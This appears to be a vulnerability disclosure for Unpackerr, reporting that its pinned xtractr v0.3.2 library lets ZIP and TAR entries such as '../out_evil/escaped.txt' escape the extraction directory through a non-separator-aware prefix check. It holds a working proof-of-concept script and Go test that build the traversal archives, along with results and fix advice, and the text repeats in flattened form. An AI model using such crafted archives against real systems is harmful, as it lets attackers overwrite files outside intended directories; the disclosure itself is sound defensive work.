Unpackerr pinned xtractr prefix boundary bypass
Summary
Current Unpackerr still pins golift.io/xtractr v0.3.2, whose ZIP and TAR extractors use strings.HasPrefix(cleanPath, OutputDir) after joining archive names to the output root.
Details
I reproduced this against the tested upstream commit. Tested commit:
63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd (2026-06-14T21:29:40-07:00)
Relevant code path:
unpackerr/go.mod lines 20-26: unpackerr currently depends on golift.io/xtractr v0.3.2 for archive extraction.
files.go lines 794-805: xtractr.clean() builds the destination path with filepath.Clean(filepath.Join(OutputDir, filePath)).
zip.go lines 98-105: ZIP extraction accepts a path when strings.HasPrefix(cleanPath, OutputDir) succeeds, which is vulnerable to sibling-prefix bypass.
Root cause:
unpackerr pins golift.io/xtractr v0.3.2. In that version, xtractr computes the output path with filepath.Clean(filepath.Join(OutputDir, entryName)) and then validates it with strings.HasPrefix(cleanPath, OutputDir). This comparison is not separator-aware, so names like '../out_evil/escaped.txt' resolve to a sibling path such as '/.../out_evil/escaped.txt' that still begins with the string '/.../out'.
Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.
Reproduction
The following script fresh-clones Unpackerr, checks out the tested commit, adds a temporary Go test inside pkg/unpackerr, and calls the exact pinned xtractr ExtractZIP() and ExtractTar() APIs.
#!/usr/bin/env bash
set -euo pipefail
UNPACKERR_COMMIT="63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd"
workdir="$(mktemp -d)"
cleanup() {
set +e
chmod -R u+w "$workdir" 2>/dev/null || true
rm -rf "$workdir"
}
trap cleanup EXIT
git clone --quiet https://github.com/Unpackerr/unpackerr.git "$workdir/unpackerr"
cd "$workdir/unpackerr"
git checkout --quiet "$UNPACKERR_COMMIT"
cat > pkg/unpackerr/xtractr_prefix_boundary_test.go <<'GO'
package unpackerr
import (
"archive/tar"
"archive/zip"
"bytes"
"os"
"path/filepath"
"testing"
"golift.io/xtractr"
)
func writeZipWithTraversal(t *testing.T, path string) {
t.Helper()
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
w, err := zw.Create("../out_evil/escaped_zip.txt")
if err != nil {
t.Fatal(err)
}
if _, err := w.Write([]byte("UNPACKERR-ZIP-PREFIX-BYPASS")); err != nil {
t.Fatal(err)
}
if err := zw.Close(); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
t.Fatal(err)
}
}
func writeTarWithTraversal(t *testing.T, path string) {
t.Helper()
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
payload := []byte("UNPACKERR-TAR-PREFIX-BYPASS")
if err := tw.WriteHeader(&tar.Header{Name: "../out_evil/escaped_tar.txt", Mode: 0644, Size: int64(len(payload))}); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(payload); err != nil {
t.Fatal(err)
}
if err := tw.Close(); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
t.Fatal(err)
}
}
func TestCurrentPinnedXtractrPrefixBoundaryBypass(t *testing.T) {
base := t.TempDir()
out := filepath.Join(base, "out")
if err := os.MkdirAll(out, 0755); err != nil {
t.Fatal(err)
}
zipPath := filepath.Join(base, "malicious.zip")
tarPath := filepath.Join(base, "malicious.tar")
writeZipWithTraversal(t, zipPath)
writeTarWithTraversal(t, tarPath)
_, _, zipErr := xtractr.ExtractZIP(&xtractr.XFile{FilePath: zipPath, OutputDir: out, FileMode: 0644, DirMode: 0755})
_, _, tarErr := xtractr.ExtractTar(&xtractr.XFile{FilePath: tarPath, OutputDir: out, FileMode: 0644, DirMode: 0755})
zipEscaped := filepath.Join(base, "out_evil", "escaped_zip.txt")
tarEscaped := filepath.Join(base, "out_evil", "escaped_tar.txt")
zipData, zipReadErr := os.ReadFile(zipEscaped)
tarData, tarReadErr := os.ReadFile(tarEscaped)
t.Logf("OUTPUT_DIR=%s", out)
t.Logf("ZIP_ERR=%v", zipErr)
t.Logf("ZIP_ESCAPED=%s", zipEscaped)
t.Logf("ZIP_ESCAPED_EXISTS=%t", zipReadErr == nil)
t.Logf("ZIP_ESCAPED_CONTENT=%s", string(zipData))
t.Logf("TAR_ERR=%v", tarErr)
t.Logf("TAR_ESCAPED=%s", tarEscaped)
t.Logf("TAR_ESCAPED_EXISTS=%t", tarReadErr == nil)
t.Logf("TAR_ESCAPED_CONTENT=%s", string(tarData))
if zipErr != nil || tarErr != nil {
t.Fatalf("expected current pinned xtractr extraction to accept sibling-prefix traversal, got zip=%v tar=%v", zipErr, tarErr)
}
if string(zipData) != "UNPACKERR-ZIP-PREFIX-BYPASS" || string(tarData) != "UNPACKERR-TAR-PREFIX-BYPASS" {
t.Fatalf("expected escaped files to be written outside output dir")
}
}
GO
go test ./pkg/unpackerr -run TestCurrentPinnedXtractrPrefixBoundaryBypass -count=1 -v
Observed result:
=== RUN TestCurrentPinnedXtractrPrefixBoundaryBypass
xtractr_prefix_boundary_test.go:73: ZIP_ERR=<nil>
xtractr_prefix_boundary_test.go:75: ZIP_ESCAPED_EXISTS=true
xtractr_prefix_boundary_test.go:76: ZIP_ESCAPED_CONTENT=UNPACKERR-ZIP-PREFIX-BYPASS
xtractr_prefix_boundary_test.go:77: TAR_ERR=<nil>
xtractr_prefix_boundary_test.go:79: TAR_ESCAPED_EXISTS=true
xtractr_prefix_boundary_test.go:80: TAR_ESCAPED_CONTENT=UNPACKERR-TAR-PREFIX-BYPASS
--- PASS: TestCurrentPinnedXtractrPrefixBoundaryBypass
PASS
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
Both ExtractZIP() and ExtractTar() succeed and write files into the sibling out_evil directory outside OutputDir.
Impact
A malicious archive processed through unpackerr's pinned extraction stack can create or overwrite files outside the intended extraction directory via sibling-prefix traversal.
Suggested Fix Direction
- Update unpackerr to a fixed xtractr release once the path containment check is changed to a separator-aware resolved-path comparison.
- Until then, patch the bundled extraction path validation to compare canonicalized paths with a trailing separator or path-component-aware containment test.
- Add unpackerr regression coverage that exercises ZIP and TAR entries like '../out_evil/escaped.txt' through the exact extraction path used in production.
Unpackerr pinned xtractr prefix boundary bypass
Summary
Current Unpackerr still pins
golift.io/xtractr v0.3.2, whose ZIP and TAR extractors usestrings.HasPrefix(cleanPath, OutputDir)after joining archive names to the output root.Details
I reproduced this against the tested upstream commit. Tested commit:
63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd(2026-06-14T21:29:40-07:00)Relevant code path:
unpackerr/go.modlines20-26: unpackerr currently depends on golift.io/xtractr v0.3.2 for archive extraction.files.golines794-805: xtractr.clean() builds the destination path with filepath.Clean(filepath.Join(OutputDir, filePath)).zip.golines98-105: ZIP extraction accepts a path when strings.HasPrefix(cleanPath, OutputDir) succeeds, which is vulnerable to sibling-prefix bypass.Root cause:
unpackerr pins golift.io/xtractr v0.3.2. In that version, xtractr computes the output path with filepath.Clean(filepath.Join(OutputDir, entryName)) and then validates it with strings.HasPrefix(cleanPath, OutputDir). This comparison is not separator-aware, so names like '../out_evil/escaped.txt' resolve to a sibling path such as '/.../out_evil/escaped.txt' that still begins with the string '/.../out'.
Related CVE reference: this is the same kind of bug as
CVE-2024-12718inpython/cpython.Reproduction
The following script fresh-clones Unpackerr, checks out the tested commit, adds a temporary Go test inside
pkg/unpackerr, and calls the exact pinned xtractrExtractZIP()andExtractTar()APIs.Observed result:
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
Both
ExtractZIP()andExtractTar()succeed and write files into the siblingout_evildirectory outsideOutputDir.Impact
A malicious archive processed through unpackerr's pinned extraction stack can create or overwrite files outside the intended extraction directory via sibling-prefix traversal.
Suggested Fix Direction